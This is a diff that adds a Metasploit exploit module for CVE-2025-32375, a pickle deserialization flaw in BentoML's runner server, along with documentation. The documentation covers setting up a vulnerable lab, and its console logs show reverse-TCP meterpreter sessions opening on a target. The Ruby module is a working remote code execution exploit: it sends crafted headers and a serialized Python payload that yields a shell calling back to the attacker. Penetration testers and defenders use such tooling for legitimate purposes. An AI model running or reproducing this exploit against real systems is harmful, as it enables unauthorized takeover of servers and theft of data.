diff --git a/documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md b/documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md new file mode 100644 index 0000000000..8f35c1df57 --- /dev/null +++ b/documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md @@ -0,0 +1,165 @@ +## Vulnerable Application + +There was an insecure deserialization in BentoML's runner server. +By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, +which will grant the attackers to have the initial access and information disclosure on the server. + +The vulnerability affects: + + * 1.0.0a1 <= BentoML < 1.4.8 + +This module was successfully tested on: + + * BentoML 1.3.5 installed on Ubuntu 20.04 + + +### Installation + +1. `pip install -U bentoml==1.3.5` + +2. Create a file named model.py to create a simple model and save it: +```python3 +import bentoml +import numpy as np + +class mymodel: + def predict(self, info): + return np.abs(info) + def __call__(self, info): + return self.predict(info) + +model = mymodel() +bentoml.picklable_model.save_model("mymodel", model) +``` + +3. Run the following command to save this model: `python3 model.py` + +4. Create bentofile.yaml to build this model: +```yml +service: "service.py" +description: "A model serving service with BentoML" +python: + packages: + - bentoml + - numpy +models: + - tag: MyModel:latest +include: + - "*.py" +``` + +5. Create service.py to host this model: +```python3 +import bentoml +from bentoml.io import NumpyNdarray +import numpy as np + + +model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner() + +svc = bentoml.Service("myservice", runners=[model_runner]) + +async def predict(input_data: np.ndarray): + + input_columns = np.split(input_data, input_data.shape[1], axis=1) + result_generator = model_runner.async_run(input_columns, is_stream=True) + async for result in result_generator: + yield result +``` + +6. Run the following commands to build and host this model: +```bash +bentoml build +bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios + +### Python payload +``` +msf6 > use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375 +[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > options + +Module options (exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 3000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (python/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Python payload + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Python\ payload +target => Python payload +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. BentoML's runner server detected. +[*] Sending stage (24772 bytes) to 192.168.56.15 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:47712) at 2025-04-17 20:29:12 +0900 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : vul +OS : Linux 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` + +### Linux command +``` +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Linux\ Command +target => Linux Command +msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. BentoML's runner server detected. +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.15:43432) at 2025-04-17 20:29:48 +0900 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : 192.168.56.15 +OS : Ubuntu 20.04 (Linux 5.4.0-212-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb b/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb new file mode 100644 index 0000000000..da5604e457 --- /dev/null +++ b/modules/exploits/linux/http/bentoml_runner_server_rce_cve_2025_32375.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'BentoML\'s runner server RCE', + 'Description' => %q{ + There was an insecure deserialization in BentoML's runner server prior to version 1.4.8. + By setting specific headers and parameters in the POST request, it is possible to execute unauthorized arbitrary code in the context of the user running the server, + which will grant initial access and information disclosure. + }, + 'Author' => [ + 'SeaWind', # Vulnerability discovery and PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-32375'], + ['URL', 'https://github.com/advisories/GHSA-7v4r-c989-xh26'], + ], + 'Targets' => [ + [ + 'Python payload', + { + 'Arch' => ARCH_PYTHON, + 'Platform' => 'python', + 'Type' => :python, + 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } + } + ], + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' + } + } + ], + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-04-09', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options( + [ + Opt::RPORT(3000) + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'metrics') + }) + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 + return Exploit::CheckCode::Unknown('BentoML\'s runner server not detected.') unless res&.get_html_document&.text&.include?('bentoml_runner') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'readyz') + }) + return Exploit::CheckCode::Unknown('BentoML\'s runner server not ready.') unless res&.code == 200 + + Exploit::CheckCode::Detected("BentoML\'s runner server detected.") + # Version check not available + end + + def exploit + if target['Type'] == :python + pl = payload.encoded + else + pl = "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")" + end + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'headers' => { + 'args-number' => '1', + 'Content-Type' => 'application/vnd.bentoml.pickled', + 'Payload-Container' => 'NdarrayContainer', + 'Payload-Meta' => '{"format": "default"}', + 'Batch-Size' => '-1' + }, + 'data' => Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, pl) + }) + # No response check here + end + +end